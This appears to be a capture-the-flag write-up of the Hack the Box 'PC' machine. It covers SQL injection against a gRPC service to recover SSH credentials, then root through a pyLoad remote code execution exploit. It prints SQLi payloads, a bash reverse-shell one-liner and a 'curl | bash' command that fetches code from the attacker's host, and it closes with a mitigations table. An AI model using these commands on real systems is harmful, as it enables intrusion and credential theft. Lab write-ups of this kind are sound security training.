Post

Hack the Box (HTB) - PC

Exploiting a gRPC endpoint via SQLi

Hack the Box (HTB) - PC

Enumeration

First let’s start by running enumeration on our box located at 10.10.11.214 I like to use the tool AutoRecon as it vastly speeds up the enumeration process

1
sudo autorecon <ip>

Checking our _full_tcp_nmap.txt that autorecon generated for us. We see that ports 22 and 50051 are open

Nmap Scan

Doing a quick good search tells us that port 50051 is typically associated with gRPC (Google Remote Procedure Calls) which essentially facilitates services within a distributed application, regardless of the programming language usd or machine / container they’re located on as well as optimizing overhead

We can run the tool grpcurl to list the available services on a gRPC server

1
grpcurl -plaintext 10.10.11.214:50051 list

We see the following SimpleApp & grpc.reflection.v1alpha.ServerReflection services

grpc curl

We can run the following command against the service to identify the RPC methods

1
grpcurl -plaintext 10.10.11.214:50051 describe SimpleApp

grpc methods

We’ve successfully identified the following three service methods

  • LoginUser
  • RegisterUser
  • getInfo

Before we can attempt to exploit these methods, we need to understand the structure of the request and response message for each method. We can use the the following command to accomplish this

1
2
3
# Describe Request and Response Types for "LoginUser"
grpcurl -plaintext 10.10.11.214:50051 describe .LoginUserRequest
grpcurl -plaintext 10.10.11.214:50051 describe .LoginUserResponse

Request and response type

Now that we have a detailed structure, we can craft a request and perform tests. Let’s try to send data to the RegisteredUser endpoint in the form of creating an account

1
grpcurl -plaintext -d '{"username": "Jigsaw64", "password": "PleaseHireMe"}' 10.10.11.214:50051 SimpleApp.RegisterUser

User Crated

Account successfully created. Now let’s login

1
grpcurl -plaintext -d '{"username": "Jigsaw64", "password": "PleaseHireMe"}' 10.10.11.214:50051 SimpleApp.LoginUser

Login Successful

Login successful & our ID is 333 Now let’s attempt to invoke the getInfo method with our ID

1
grpcurl -plaintext -d '{"id": "333"}' 10.10.11.214:50051 SimpleApp.getInfo

Missing token header

It looks like to call the getInfo method, we need a token header in our request. After some research I discoverd that adding the -vv flag for very verbose provides us with more metadata on our request. Let’s edit the LoginUser request and attempt it again

Token Received

Nice, we got our JSON Web Token (JWT). Now let’s edit the .getInfo request with our token and try again

1
2
3
4
5
grpcurl -plaintext \
  -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA3NTk0MTR9.wU1nEE4r0kiPpqfc9mX4u73Yip-eHy-HQyNXCVzGsao" \
  -d '{"id": "633"}' \
  -vv \
  10.10.11.214:50051 SimpleApp.getInfo

We see the following message "Will update soon."

Will update soon

It looks like logging into the service worked. Let’s try a basic SQL injection in the ID parameter

1
2
3
4
5
grpcurl -plaintext \
  -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA3NTk0MTR9.wU1nEE4r0kiPpqfc9mX4u73Yip-eHy-HQyNXCVzGsao" \
  -d '{"id": "555 OR 1=1"}' \
  -vv \
  10.10.11.214:50051 SimpleApp.getInfo

We get the reponse "message": "The admin is working hard to fix the issues.

It looks like our simple SQL injection payload worked. Instead of querying specifically for the ID of 555, it evaluated 1=1 to true, retraining data related to the admin message

Let’s trying querying for the DB version

1
2
3
4
5
grpcurl -plaintext \
  -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA3NTk0MTR9.wU1nEE4r0kiPpqfc9mX4u73Yip-eHy-HQyNXCVzGsao" \
  -d '{"id": "555 union select sqlite_version()"}' \
  -vv \
  10.10.11.214:50051 SimpleApp.getInfo

We’ve confirmed that the method we’re interacting with is querying a SQLite DB and that the version is 3.31.1

Now we can craft an SQLi to extract data from the sql_master table. Which is the table in SQLite that stores metadata on all the tables in the database. Let’s grab the definition of the accounts table

1
  "id": "797 union select sql FROM sqlite_master WHERE type=\"table\" AND name=\"accounts\"; --"

Accounts Table

Great, we got the schema of the accounts table. it looks like it consists of two columns, username (Unique) and password. I will use the following command to list the username

I had to switch my data format to text (protobuf text format) from here as I kept getting errors in my SQLi using json

1
2
3
4
5
6
grpcurl -plaintext \
  -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA4MzU1MDJ9.vCG_S9c_VNlCb3vuF8-HXR8Rw8TWt9T3nQzeHG6FzPk" \
  -d 'id: "42 UNION SELECT group_concat(username, '"'"','"'"') FROM accounts"' \
  -format text \
  -vv \
  10.10.11.214:50051 SimpleApp.getInfo

Sau User Discoverd

We discover this sau user. Now let’s make the same requesting with the password

1
2
3
4
5
6
grpcurl -plaintext \
  -H "token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjoiSmlnc2F3NjQiLCJleHAiOjE3MjA4MzU1MDJ9.vCG_S9c_VNlCb3vuF8-HXR8Rw8TWt9T3nQzeHG6FzPk" \
  -d 'id: "42 UNION SELECT group_concat(password, '"'"','"'"') FROM accounts"' \
  -format text \
  -vv \
  10.10.11.214:50051 SimpleApp.getInfo

Sau Password

The password for the sau user has been identified as HereIsYourPassWord1431 Let’s try to SSH in with our newly discoverd credentials

1
ssh sau@10.10.11.214

SSH sau

Privilege Escalation

Let’s check the kernel version with a uname -a, and sudo permission with a sudo -l

Linux pc 5.4.0-148-generic #165-Ubuntu SMP Tue Apr 18 08:53:12 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux

Sorry, user sau may not run sudo on localhost.

Uninteresting. Let’s check running processes with ps -ef --forest

  • -ef Show all processes, not just those belonging to the current user & generate a full listing, providing more verbose output

  • --forest Display process hierarchy in a tree-like format

PS List

There’s a Python application running as root: /usr/bin/python3 /opt/app/app.py (PID 1059) Another Python process running as root: /usr/bin/python3 /usr/local/bin/pyload (PID 1063)

Let’s check listening TCP sockets on the system with the following command

1
ss -lntp

Local Web Sever

This could be a local web server or application. Let’s curl the local service and see what we get

Curled Request

We’ve confirmed it’s a web service. Let’s forward this local port 8000 to our attacker machine. We’ll open a new tab on our attacker machine and run the following SSH command to connect via SSH again as well as set up local port forwarding. This will allow us to access the service in our web browser on our attacker machine

1
ssh -L 8000:127.0.0.1:8000 sau@10.10.11.214

Now let’s navigate to http://127.0.0.1:8000 / http://localhost:8000

pyLoad Web Interface

Let’s see if we can find the version of this application. Checking the HTML source code doesn’t provide anything of value. Unfortunately, the config file for pyLoad is located on the roots home directory, which we can’t access. Let’s check searchsploit for any exploits relating to pyLoad

1
searchsploit pyLoad

searchsploit pyload

We find one, let’s go ahead and copy the exploit script to our current directory

1
cp /usr/share/exploitdb/exploits/python/webapps/51532.py .

Doing a bit of research to get a high-level overview of this exploit tells me it’s a unauthenticated RCE that takes advantage of the /flash/addcrypted2 endpoint in PyLoad’s API. This end point of the applications API does not sanitize user input.

This script first sends a get request to check if the host is alive. If alive it then sends a POST with the malicious python payload

CVE-2023-0297

1
2
3
4
5
API: PyLoad API
  ├── Endpoint: /flash/addcrypted2   <- Vulnerable Endpoint
  ├── Endpoint: /login
  ├── Endpoint: /addPackage
  └── Endpoint: /startDownload

Let’s run the script

1
python3 51532.py -u http://localhost:8000 -c "whoami"

We get the following message back [+] Host up, let's exploit! [+] The exploit has be executed in target machine. which indicates that the script is working

Let’s create a bash reverse shell on our machine. We’ll curl it using our exploit script

1
gedit rev.shell

We’ll edit the rev.shell script and add the following bash one liner:

bash -i >& /dev/tcp/10.10.14.36/9001 0>&1

Now we will do the following:

  • Make the script executable chmod +x rev.shell
  • Host the file via simple HTTP server python3 -m http.server 8080
  • Set up our netcat listener nc -lvnp 9001

Now just modify the exploit to include the curl command python3 51532.py -u http://localhost:8000 -c "curl http://10.10.14.36:8080/revshell.sh | bash"

Root

GG, we’ve rooted PC!

Summary

  1. Initial enumerating discoverd gRPC
  2. Utilized grpcurl to interact with gRPC service
  3. Discoverd service SimpleApp interacting with an SQLite database
  4. Found & exploited the gRPC service via SQLi
  5. SQLi provided SSH credentials
  6. SSH’d into machine with discovered username & password
  7. Discovered local web service PyLoad running on port 8000
  8. Used SSH port forwarding to access the local PyLoad service
  9. Utilized searchsploit to discover CVE related to the PyLoad service
  10. Created malicious bash script for a reverse shell
  11. Exploited PyLoad vulnerability
  12. Obtained a reverse shell with root privileges

Vulnerabilities & Mitigation

VulnerabilityMitigation
Lack of Input Validation in gRPC MethodsValidate and sanitize all user inputs. Implement strict input validation.
SQL Injection in gRPC ServiceUse prepared statements and parameterized queries. Validate and sanitize inputs.
Default or Weak SSH CredentialsEnforce strong, unique passwords!
Vulnerable PyLoad ServiceKeep all software up to date.
Lack of Proper Input Sanitization in PyLoadValidate and sanitize all user inputs. Implement proper input handling in application code.
Local Service Access via SSH Port Forwarding (Lack of Detection)Implement monitoring for SSH port forwarding activities. Use SSH logs, network traffic analysis, and intrusion detection systems (IDS) to detect and alert on unauthorized port forwarding.
Lack of Principle of Least PrivilegeEnsure services run with the minimum necessary privileges. Use proper user and permission management.

Remediation References

This post is licensed under CC BY 4.0 by the author.